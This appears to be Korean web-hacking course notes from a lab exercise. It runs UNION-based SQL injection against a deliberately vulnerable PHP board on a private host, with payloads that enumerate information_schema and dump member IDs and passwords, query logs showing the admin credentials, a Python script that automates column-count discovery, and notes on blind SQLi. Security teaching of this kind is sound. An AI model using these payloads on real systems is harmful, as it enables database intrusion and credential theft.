&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;내용&lt;/font&gt;&lt;/th&gt;
&lt;td colspan=&quot;4&quot; style=&quot;padding:15px 0;&quot;&gt;&lt;font&gt;111&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;&lt;b&gt;첨부 파일&lt;/b&gt;&lt;/font&gt;&lt;/th&gt;
&lt;td colspan=&quot;3&quot;&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;br/&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;form action=&quot;board_delete_ok.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11&quot; method=&quot;post&quot; name=&quot;dform&quot;&gt;
&lt;font&gt;비밀번호&lt;/font&gt;
&lt;input name=&quot;b_pass&quot; size=&quot;20&quot; type=&quot;password&quot;/&gt;
&lt;input class=&quot;btn_default btn_gray&quot; onclick=&quot;ck();&quot; type=&quot;button&quot; value=&quot;삭제&quot;/&gt;

                                &lt;input class=&quot;btn_default btn_gray&quot; onclick=&quot;history.back();&quot; type=&quot;button&quot; value=&quot;목록&quot;/&gt;
&lt;/form&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;

(Pdb) n
&gt; /root/unionAttackDebug.py(25)&lt;module&gt;()
-&gt; if a.text != &#39;Warning&#39;:
(Pdb) p a
&lt;b&gt;첨부 파일&lt;/b&gt;
(Pdb) n
&gt; /root/unionAttackDebug.py(26)&lt;module&gt;()
-&gt; print(&#39;UNION 매칭 OK!!!&#39;)
(Pdb) n
UNION 매칭 OK!!!
&gt; /root/unionAttackDebug.py(27)&lt;module&gt;()
-&gt; print(f&#39;&gt;&gt;&gt; 매칭된 값 {i} : {url} &lt;&lt;&lt;&#39;)
(Pdb) n
&gt;&gt;&gt; 매칭된 값 11 : http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 &lt;&lt;&lt;
&gt; /root/unionAttackDebug.py(28)&lt;module&gt;()
-&gt; break
(Pdb) n
--Return--
&gt; /root/unionAttackDebug.py(28)&lt;module&gt;()-&gt;None
-&gt; break
(Pdb) n
--Return--
&gt; &lt;string&gt;(1)&lt;module&gt;()-&gt;None
(Pdb) c
The program finished and will be restarted
&gt; /root/unionAttackDebug.py(2)&lt;module&gt;()
-&gt; &quot;&quot;&quot;
(Pdb) q




#######################
## information_schema ##
########################

information_schema
- DBMS(mariaDB)의 전체 정보를 가지고 있는 가상의 Database
- 다시 말해서 시스템상의 DB가 위치하는 실제 파일시스템상(/var/lib/mysql)에는 존재하지 않고 메모리에 존재한다.
- 리눅스에서 /proc 디렉터리라고 생각하면 된다.

information_schema : DBMS의 전체 정보를 가지고 있는 가상의 데이터베이스
information_schema.TABLES : DBMS의 전체 테이블에 대한 정보를 가지고 있는 테이블
- TABLE_SCHEMA : DBMS의 전체 데이터베이스가 저장된 컬럼
- TABLE_NAME : DBMS의 전체 테이블명이 저장된 컬럼
- TABLE_TYPE : DBMS의 테이블의 종류가 저장된 컬럼 (BASE TABLE)


MariaDB [(none)]&gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |  &lt;-- 
| mysql              |
| mywebsite          |
| performance_schema |
| test               |
+--------------------+
5 rows in set (0.00 sec)

MariaDB [(none)]&gt; use information_schema
MariaDB [information_schema]&gt; show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |  &lt;--
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |   &lt;--
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| INNODB_CMPMEM_RESET                   |
| INNODB_RSEG                           |
| INNODB_UNDO_LOGS                      |
| INNODB_CMPMEM                         |
| INNODB_SYS_TABLESTATS                 |
| INNODB_LOCK_WAITS                     |
| INNODB_INDEX_STATS                    |
| INNODB_CMP                            |
| INNODB_CMP_RESET                      |
| INNODB_CHANGED_PAGES                  |
| INNODB_BUFFER_POOL_PAGES              |
| INNODB_TRX                            |
| INNODB_BUFFER_POOL_PAGES_INDEX        |
| INNODB_LOCKS                          |
| INNODB_BUFFER_POOL_PAGES_BLOB         |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_STATS                      |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_INDEXES                    |
| XTRADB_ADMIN_COMMAND                  |
| INNODB_TABLE_STATS                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_BUFFER_PAGE                    |
+---------------------------------------+
62 rows in set (0.00 sec)


TB : columns
Columns : 
- TABLE_SCHEMA : DataBase 의 이름
- TABLE_NAME : Table 의 이름
- COLUMN_NAME : 사용자가 생성한 컬럼명

MariaDB [information_schema]&gt; desc columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field                    | Type                | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |  &lt;-- DB명
| TABLE_NAME               | varchar(64)         | NO   |     |         |       |  &lt;-- Table명
| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |  &lt;-- Column명
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |
| DATA_TYPE                | varchar(64)         | NO   |     |         |       |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |
| DATETIME_PRECISION       | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |
| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |
| EXTRA                    | varchar(27)         | NO   |     |         |       |
| PRIVILEGES               | varchar(80)         | NO   |     |         |       |
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |       |
+--------------------------+---------------------+------+-----+---------+-------+
20 rows in set (0.00 sec)


TB : TABLES
Columns : 
- TABLE_SCHEMA : DataBase 의 이름
- TABLE_NAME : Table 의 이름
- TABLE_TYPE : Table 의 종류이고 BASE TABLE이 사용자가 생성한 테이블이다.

MariaDB [information_schema]&gt; desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |  &lt;-- DB명
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |  &lt;-- Table명
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |  &lt;-- Table종류
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.01 sec)

MariaDB [information_schema]&gt; SELECt table_schema, table_name, table_type FROM tables;
+--------------------+----------------------------------------------+-------------+
| table_schema       | table_name                                   | table_type  |
+--------------------+----------------------------------------------+-------------+
| information_schema | CHARACTER_SETS                               | SYSTEM VIEW |
| information_schema | CLIENT_STATISTICS                            | SYSTEM VIEW |
| information_schema | COLLATIONS                                   | SYSTEM VIEW |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY        | SYSTEM VIEW |
| information_schema | COLUMNS                                      | SYSTEM VIEW |
| information_schema | COLUMN_PRIVILEGES                            | SYSTEM VIEW |
| information_schema | ENGINES                                      | SYSTEM VIEW |
  :
  :(생략)
| WebTest            | board                                        | BASE TABLE  |
| WebTest            | member                                       | BASE TABLE  |
| mysql              | columns_priv                                 | BASE TABLE  |
| mysql              | db                                           | BASE TABLE  |
| mysql              | event                                        | BASE TABLE  |
| mysql              | func                                         | BASE TABLE  |
  :
  :(생략)
| user1DB            | member                                       | BASE TABLE  |
| user1DB            | test                                         | BASE TABLE  |
+--------------------+----------------------------------------------+-------------+
108 rows in set (0.02 sec)


게시판의 검색 부분:

게시글의 검색 부분에서 글제목을 선택하고 SQLi 이 되는지 확인한다.
&#39; UNION SELECT 100,200,300,400,500,600,700,800,900,1000,1100 #


-- board/board_list.php --
          if(isset($_GET[&quot;keyword&quot;])){
            $keyword = trim($_GET[&quot;keyword&quot;]);

            // 아래 3줄 주석처리
            // board/board_list.php
            //$keyword = mysql_real_escape_string($keyword);
            //echo $keyword;

            $key = $_GET[&quot;key&quot;];
              switch($key){
                case &#39;1&#39;:
                  $strSQL=&quot;select * from board where strSubject like &#39;%$keyword%&#39; order by strNumber desc&quot;;
                  break;
                case &#39;2&#39;:
                  $strSQL=&quot;select * from board where strContent like &#39;%$keyword%&#39; order by strNumber desc&quot;;
                  break;
                case &#39;3&#39;:
                  $strSQL=&quot;select * from board where strName like &#39;%$keyword%&#39; order by strNumber desc&quot;;
                  break;
                default:
                $strSQL=&quot;select * from board order by strNumber desc&quot;;
              }   
          } else {
            $strSQL=&quot;select * from board order by strNumber desc&quot;;
          }   

          $rs=mysql_query($strSQL, $conn);                                                                            
          $rs_num=mysql_num_rows($rs);
-- board/board_list.php --

글제목
$strSQL=&quot;select * from board where strSubject like &#39;%$keyword%&#39; order by strNumber desc&quot;;

입력한 공격 코드: &#39; UNION SELECT 100,200,300,400,500,600,700,800,900,1000,1100 #

실제 쿼리 값:
select * from board where strSubject like &#39;%&#39; 
UNION 
SELECT 100,200,300,400,500,600,700,800,900,1000,1100#%&#39; order by strNumber desc
                                                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                                      주석으로 삭제되었다.

게시글의 검색 부분에서 출력 위치를 확인한다.
&#39; UNION SELECT 100,200,300,400,500,600,700,800,900,1000,1100 #
               ~~~ ~~~         ~~~         ~~~          ~~~~

게시판
번호 제목       작성자 등록일               조회수
1    CSRF TEST2 테스터 2022-10-28 12:05:32  3
2    1          테스터 2022-10-28 17:26:23  3
100     500        200    1100                 800


게시글의 검색 부분에서 출력 위치에 명령어를 넣어준다.
&#39; UNION SELECT user(),200,300,400,database(),600,700,800,900,1000,1100 #
               ~~~~~~ ~~~         ~~~~~~~~~~         ~~~          ~~~~

로그에 기록된 쿼리는 아래와 같다.
221029 14:07:14       23 Connect    webadmin@localhost as anonymous on 
           23 Query    SET NAMES utf8
           23 Init DB    WebTest
           23 Query    select * from board where strSubject like &#39;%&#39; UNION SELECT user(),200,300,400,database(),600,700,800,900,1000,1100 #%&#39; order by strNumber desc
           23 Quit    


root 사용자로 로그인을 했기 때문에 모든 사용자의 테이블이 보여진다.
SELECT table_schema,table_name,table_type FROM information_schema.tables 
WHERE table_type = &#39;base table&#39;;

webadmin 사용자로 로그인하면 자신이 가지고 있는 테이블이 보여진다.
[root@webhacking html]# mysql -u webadmin -pP@ssw0rd WebTest

MariaDB [WebTest]&gt; SELECT table_schema,table_name,table_type FROM information_schema.tables 
    -&gt; WHERE table_schema = &#39;WebTest&#39;;
+--------------+------------+------------+
| table_schema | table_name | table_type |
+--------------+------------+------------+
| WebTest      | board      | BASE TABLE |
| WebTest      | member     | BASE TABLE |
+--------------+------------+------------+
2 rows in set (0.01 sec)

information_schema.tables에서 
table_schema: DB
table_name: TB
&#39; UNION SELECT 1,table_type,3,4, table_name, 6,7,8,9,10, table_schema FROM information_schema.tables WHERE table_schema = &#39;WebTest&#39; #

로그에 기록되는 쿼리
221029 14:20:28       32 Connect    webadmin@localhost as anonymous on 
           32 Query    SET NAMES utf8
           32 Init DB    WebTest
           32 Query    select * from board where strSubject like &#39;%&#39; UNION SELECT 1,table_type,3,4, table_name, 6,7,8,9,10, table_schema FROM information_schema.tables  WHERE table_schema = &#39;WebTest&#39; #%&#39; order by strNumber desc
           32 Quit    

게시판
번호  제목          작성자  등록일              조회수
1      CSRF TEST2    테스터    2022-10-28 12:05:32    3
2     1                테스터  2022-10-28 17:26:23    3
1     board         2       WebTest                8
1     member        2        WebTest                8


&#39; UNION SELECT * from member #

221029 14:25:19       33 Connect    webadmin@localhost as anonymous on 
           33 Query    SET NAMES utf8
           33 Init DB    WebTest
           33 Query    select * from board where strSubject like &#39;%&#39; UNION SELECT * from member #%&#39; order by strNumber desc
           33 Quit    

select * from board where strSubject like &#39;%&#39; UNION SELECT * from member #%&#39; order by strNumber desc

&#39; UNION SELECT *,9,10,11 from member #

##############
## 컬럼 추출
##############

MariaDB [WebTest]&gt; DESC information_schema.columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field                    | Type                | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |  &lt;-- 데이터베이스명
| TABLE_NAME               | varchar(64)         | NO   |     |         |       |  &lt;-- 테이블명
| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |  &lt;-- 컬럼명
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |
| DATA_TYPE                | varchar(64)         | NO   |     |         |       |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |
| DATETIME_PRECISION       | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |
| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |
| EXTRA                    | varchar(27)         | NO   |     |         |       |
| PRIVILEGES               | varchar(80)         | NO   |     |         |       |
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |       |
+--------------------------+---------------------+------+-----+---------+-------+
20 rows in set (0.00 sec)


[root@webhacking html]# mysql -u webadmin -pP@ssw0rd information_schema

MariaDB [information_schema]&gt; SELECT table_schema, table_name, column_name  FROM columns WHERE table_schema = &#39;WebTest&#39;;
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| WebTest      | board      | strNumber   |
| WebTest      | board      | strName     |
| WebTest      | board      | strPassword |
| WebTest      | board      | strEmail    |
| WebTest      | board      | strSubject  |
| WebTest      | board      | strContent  |
| WebTest      | board      | htmlTag     |
| WebTest      | board      | viewCount   |
| WebTest      | board      | filename    |
| WebTest      | board      | filesize    |
| WebTest      | board      | writeDate   |
| WebTest      | member     | no          |
| WebTest      | member     | u_id        |
| WebTest      | member     | u_pass      |
| WebTest      | member     | u_name      |
| WebTest      | member     | nickname    |
| WebTest      | member     | age         |
| WebTest      | member     | email       |
| WebTest      | member     | reg_date    |
+--------------+------------+-------------+
19 rows in set (0.01 sec)

MariaDB [information_schema]&gt; use WebTest
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [WebTest]&gt;
MariaDB [WebTest]&gt; SELECT user(), database();
+--------------------+------------+
| user()             | database() |
+--------------------+------------+
| webadmin@localhost | WebTest    |
+--------------------+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT table_schema, table_name, column_name  FROM columns WHERE table_schema = &#39;WebTest&#39;;
ERROR 1146 (42S02): Table &#39;WebTest.columns&#39; doesn&#39;t exist

MariaDB [WebTest]&gt; SHOW TABLES;
+-------------------+
| Tables_in_WebTest |
+-------------------+
| board             |
| member            |
+-------------------+
2 rows in set (0.00 sec)

WebTest DB에 columns 테이블이 존재하지 않으므로 에러가 발생했다.
MariaDB [WebTest]&gt; SELECT table_schema, table_name, column_name  FROM columns WHERE table_schema = &#39;WebTest&#39;;
ERROR 1146 (42S02): Table &#39;WebTest.columns&#39; doesn&#39;t exist

information_schema.columns (DB명.TB명)을 명시해야 한다.
MariaDB [WebTest]&gt; SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = &#39;WebTest&#39;;
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| WebTest      | board      | strNumber   |
| WebTest      | board      | strName     |
| WebTest      | board      | strPassword |
| WebTest      | board      | strEmail    |
| WebTest      | board      | strSubject  |
| WebTest      | board      | strContent  |
| WebTest      | board      | htmlTag     |
| WebTest      | board      | viewCount   |
| WebTest      | board      | filename    |
| WebTest      | board      | filesize    |
| WebTest      | board      | writeDate   |
| WebTest      | member     | no          |
| WebTest      | member     | u_id        |
| WebTest      | member     | u_pass      |
| WebTest      | member     | u_name      |
| WebTest      | member     | nickname    |
| WebTest      | member     | age         |
| WebTest      | member     | email       |
| WebTest      | member     | reg_date    |
+--------------+------------+-------------+
19 rows in set (0.00 sec)

information_schema.tables에서 
table_schema: DB
table_name: TB

조작된 공격 쿼리:
&#39; UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_schema = &#39;WebTest&#39; #

로그에 기록된 쿼리
[root@webhacking ~]# &gt; /var/lib/mysql/webhacking.log
[root@webhacking ~]# tail -f /var/lib/mysql/webhacking.log
230407 18:53:17   261 Connect   webadmin@localhost as anonymous on
                  261 Query     SET NAMES utf8
                  261 Init DB   WebTest
                  261 Query     select * from board where strSubject like &#39;%&#39; UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_schema = &#39;WebTest&#39; #%&#39; order by strNumber desc
                  261 Quit

결과는 아래와 같이 나온다.
게시판
번호  제목           작성자   등록일                조회수
1     xss          관리자   2023-04-04 02:32:11   2
2      11           관리자   2023-04-04 03:06:45   7
3      안녕하세요.  테스터   2023-04-04 04:52:00   1
4     1            테스터   2023-04-04 04:52:48   2
1     board        WebTest  strNumber             8
1     board        WebTest strName                8
1     board        WebTest strPassword            8
1     board        WebTest strEmail               8
1     board        WebTest strSubject             8
1     board        WebTest strContent             8
1     board        WebTest htmlTag                8
1     board        WebTest viewCount              8
1     board        WebTest filename               8
1     board        WebTest filesize               8
1     board        WebTest writeDate              8
1     member       WebTest no                     8
1     member       WebTest u_id                   8
1     member       WebTest u_pass                 8
1     member       WebTest u_name                 8
1     member       WebTest nickname               8
1     member       WebTest age                    8
1     member       WebTest email                  8
1     member       WebTest reg_date               8


information_schema.tables에서 
table_schema: DB
table_name: TB

조작된 공격 쿼리: member테이블만 출력한다.
&#39; UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_name = &#39;member&#39; #

로그에 기록된 쿼리
230407 19:06:12   263 Connect   webadmin@localhost as anonymous on
                  263 Query     SET NAMES utf8
                  263 Init DB   WebTest
                  263 Query     select * from board where strSubject like &#39;%&#39; UNION SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name FROM information_schema.columns WHERE table_name = &#39;member&#39; #%&#39; order by strNumber desc
                  263 Quit

SQLi 에 의해서 실제 실행된 쿼리는 아래와 같다.
select * from board where strSubject like &#39;%&#39; 
UNION 
SELECT 1,table_schema,3,4, table_name, 6,7,8,9,10, column_name 
       FROM information_schema.columns WHERE table_name = &#39;member&#39;


member 테이블만 추출하면 결과는 아래와 같이 나온다.
게시판
번호  제목        작성자   등록일                조회수
1     CSRF TEST2   테스터   2022-10-28 12:05:32   3
2     1            테스터   2022-10-28 17:26:23   8
1     member       no       WebTest               8
1     member       u_id     WebTest               8  &lt;-- 공격자가 원하는 값
1     member       u_pass   WebTest               8  &lt;-- 공격자가 원하는 값
1     member       u_name   WebTest               8
1     member       nickname WebTest               8
1     member       age      WebTest               8
1     member       email    WebTest               8
1     member       reg_date WebTest               8

member 테이블에서의 컬럼명
u_id: 아이디
u_pass: 비밀번호
u_name: 이름
공격 쿼리: &#39; UNION SELECT 1,u_pass,3,4,u_id,6,7,8,9,10,u_name FROM member#

로그에 기록된 쿼리
230407 19:22:12   264 Connect   webadmin@localhost as anonymous on
                  264 Query     SET NAMES utf8
                  264 Init DB   WebTest
                  264 Query     select * from board where strSubject like &#39;%&#39; UNION SELECT 1,u_pass,3,4,u_id,6,7,8,9,10,u_name FROM member#%&#39; order by strNumber desc
                  264 Quit

SQLi 에 의해서 실제 실행된 쿼리는 아래와 같다.
select * from board where strSubject like &#39;%&#39; 
UNION 
SELECT 1,u_pass,3,4,u_id,6,7,8,9,10,u_name FROM member

게시판
번호  제목        작성자   등록일                 조회수
1     CSRF TEST2  테스터   2022-10-28 12:05:32   3
2     1              테스터   2022-10-28 17:26:23   8
1     tester      111111   테스터                8
1     admin       222222   관리자                8   &lt;-- 관리자 아이디/비번이 출력되었다.


##############
## Blind SQLi
##############

blind SQLi은 Query 의 결과 값이 반환되지 않고 감추어져 있을 경우에 사용하는 공격 기법이다.
그러므로 블라인드로 감춰져서 결과값이 눈에 보이지 않기 때문에 하나씩 하나씩 대조해서 원하는 
결과값을 얻어야 한다.

Query 결과 확인
Boolean(true, false) 타입에 따라서 판단한다.
페이지 응답을 가지고 참/거짓을 판단한다.
Time 기반을 가지고 참/거짓을 판단한다.

설정 파일 변경
# vi /etc/php.ini
display_errors = Off

# systemctl reload httpd


display_errors = On으로 설정된 경우
- 개발 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면에 출력된다.

display_errors = Off로 설정된 경우
- 운영 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면이 아닌 서버의 로그 파일에 출력된다.
- 로그 위치 : /var/log/httpd/
- 가상호스트로 지정했을 때의 로그 위치 : 가상호스트의 세팅 부분을 참고
</code></pre><blockquote>
<p><strong>실습&gt; UNION 공격을 이용한 blind SQLi 이해하기</strong></p>
</blockquote>
<pre><code>1. Blind SQLi 이(가) 설정되지 않는 경우

공격 위치: 게시판 -&gt; 글보기
공격쿼리: UNION SELECT 1#
공격 URL: http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1#

반환된 결과 값:
컬럼의 개수가 맞지 않기 때문에 에러가 발생된 것이다.
/etc/php.ini의 설정에서 display_errors = On 으로 설정되어 있기 때문이다.

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/html/board/board_view.php on line 44


로그에 기록된 쿼리:
230407 19:54:17   268 Connect   webadmin@localhost as anonymous on
                  268 Query     SET NAMES utf8
                  268 Init DB   WebTest
                  268 Query     update board set viewCount=viewCount+1 where strNumber=2 UNION SELECT 1
                  268 Query     select * from board where strNumber=2 UNION SELECT 1
                  268 Quit

DB에 접속해서 직접 실행한 쿼리의 결과:
MariaDB [WebTest]&gt; select * from board where strNumber=2 UNION SELECT 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

2. Blind SQLi 이(가) 설정된 경우
PHP 설정 파일을 에러가 출력되지 않도록 변경한 후 웹서버를 재시작한다.
[root@webhacking html]# vi /etc/php.ini
display_errors = Off

[root@webhacking html]# systemctl restart httpd


공격 위치: 게시판 -&gt; 글보기
공격쿼리: UNION SELECT 1#
공격 URL: http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1#

반환된 결과 값:
컬럼의 개수가 맞지 않아도 에러가 발생되지 않는다.
/etc/php.ini의 설정에서 display_errors = Off 로 설정되어 있기 때문이다.

실제 에러 메세지는 클라이언트 화면에 출력되지 않고 아파치 에러 로그 파일에 기록된다.

[root@webhacking html]# tail /var/log/httpd/error_log
  :
  :(생략)
[Fri Apr 07 19:57:49.007634 2023] [:error] [pid 16522] [client 192.168.20.41:10299] PHP Warning:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/html/board/board_view.php on line 44

로그에 기록된 쿼리:
230407 19:57:49   269 Connect   webadmin@localhost as anonymous on
                  269 Query     SET NAMES utf8
                  269 Init DB   WebTest
                  269 Query     update board set viewCount=viewCount+1 where strNumber=2 UNION SELECT 1

DB에 접속해서 직접 실행한 쿼리의 결과:
MariaDB [WebTest]&gt; select * from board where strNumber=2 UNION SELECT 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

지난번에 생성한 union SQLi 자동화 공격도구를 실행한다.
[root@webhacking ~]# . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]# ./unionAttackDebug.py
UNION 매칭 OK!!!
&gt;&gt;&gt; 매칭된 값 1 : http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1 &lt;&lt;&lt;

공격코드는 아래 실습&gt; union 공격코드 작성하기를 참고한다.
</code></pre><blockquote>
<p><strong>실습&gt; union 공격코드 작성하기</strong></p>
</blockquote>
<pre><code>컬럼의 개수가 맞지 않으면 에러가 발생하므로 클라이언트에 전송된 소스에 &lt;b&gt;Warning&lt;/b&gt; 메세지가 있다.
컬럼의 개수가 맞으면 에러가 발생하지 않으므로 클라이언트에 전송된 소스에 &lt;b&gt;Warning&lt;/b&gt; 메세지가 없다.

1. 공격 코드 작성
(SQLiProject) [root@webhacking ~]# vi unionAttackDebug.py
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: unionAttackDebug.py
프로그램 설명: union 공격을 디버깅하기 위한 예제
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import requests
import bs4
victimIP = &quot;192.168.20.41&quot; # 자신의 WAF 의 IP주소

num = &quot;2 UNION SELECT 1&quot;

for i in range(1,13):  # 1 ~ 12
    if i &gt; 1:
        num = num + &quot;,&quot; + str(i)
        #print(num)

    url = f&quot;http://{victimIP}/board/board_view.php?num={num}&quot;
    res = requests.get(url)
    soup = bs4.BeautifulSoup(res.text, &#39;html.parser&#39;)
    a = soup.find(&#39;b&#39;)

    # Warning 메세지는 에러일 때 나오는 메세지이다.
    if a.text != &#39;Warning&#39;:
        print(&#39;UNION 매칭 OK!!!&#39;)
        print(f&#39;&gt;&gt;&gt; 매칭된 값 {i} : {url} &lt;&lt;&lt;&#39;)
        break

    #print(f&#39;&gt;&gt;&gt; {i} : {url} &lt;&lt;&lt;&#39;)
else:
    print(&#39;UNION 매칭을 찾을 수 없습니다!!!&#39;)


문서 참고: https://mariadb.org/documentation

substring(): 문자열을 자르는 함수
형식: substring(자를 문자열, 시작 위치, 개수)
substring() 함수에서 시작 위치는 1부터 시작한다.

MariaDB [user1DB]&gt; SELECT &#39;admin&#39;;
+-------+
| admin |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 1);
+--------------------------+
| substring(&#39;admin&#39;, 1, 1) |
+--------------------------+
| a                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 2, 1);
+--------------------------+
| substring(&#39;admin&#39;, 2, 1) |
+--------------------------+
| d                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 3, 1);
+--------------------------+
| substring(&#39;admin&#39;, 3, 1) |
+--------------------------+
| m                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 4, 1);
+--------------------------+
| substring(&#39;admin&#39;, 4, 1) |
+--------------------------+
| i                        |
